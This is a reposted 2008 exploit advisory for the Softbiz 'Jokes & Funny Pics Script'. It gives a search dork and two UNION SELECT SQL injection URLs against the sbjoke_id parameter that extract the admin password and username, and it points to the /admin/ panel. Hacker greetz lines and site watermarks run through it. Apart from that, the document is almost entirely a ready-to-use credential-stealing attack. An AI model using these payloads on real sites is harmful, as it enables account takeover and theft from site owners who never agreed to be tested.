Jokes & Funny Pics Script (sb_jokeid) SQL Injection Vulnerability

2008-06-27 作者:bitsCN整理来源:中国网管联盟点评 投稿 收藏

#########################################################
#
#   Jokes & Funny Pics Script SQL Injection Vulnerability
#========================================================
#
#    Author: Hussin X
#
#    Home : www.tryag.cc/cc                            中国网管联盟bitsCN.com
#
#    email: darkangel_g85[at]Yahoo[DoT]com
#            hussin.x[at]hotmail[DoT]com
#
#========================================================
#    HomE script : http://www.softbizscripts.com 网管联盟bitsCN@com
#
#    Demo : http://www.softbizscripts.com/scripts/jokes
#
#    DorK : "index.php?sbjoke_id="

网管网www_bitscn_com

########################################################## 网管联盟bitsCN_com

Exploit: 网管网www.bitscn.com

http://www.site.org/Script/index.php?sbjoke_id=-1+union+select+0,1,2,3,concat_ws(sbadmin_pwd,0x3a,sbadmin_name),5,6,7,8,9,10+from+sbjks_admin-- 网管u家u.bitscn@com

Exploit: 2 网管下载dl.bitscn.com

index.php?sbjoke_id=-1+union+select+0,1,2,3,concat_ws(sbadmin_pwd,0x3a,sbadmin_name),5,6,7,8,9,10,11,12,13+from+sbjks_admin--

网管u家u.bitsCN.com

/admin/

网管u家u.bitsCN.com

################################################################################
####################################( Greetz )##################################
#                                                                              #
#      tryag / Mr.IraQ / DeViL iRaQ / IRAQ DiveR/ IRAQ_JAGUAR /str0ke          #
#                 Silic0n / Rafi / FAHD / Iraqihack                           #

中国网管联盟bitsCN.com

# #
#################################(and All IRAQIs)###############################

中国网管联盟bitsCN.com

顶一下

TAGs： # sbjoke_id index.php " DoT com

上一篇：Page Manager CMS Remote Arbitrary File Upload Vulnerability 下一篇：PHPmotion <= 2.0 (update_profile.php) Remote Shell Upload Exploit

Jokes & Funny Pics Script (sb_jokeid) SQL Injection Vulnerability

2008-06-27 作者:bitsCN整理 来源:中国网管联盟 点评 投稿 收藏

2008-06-27 作者:bitsCN整理来源:中国网管联盟点评投稿收藏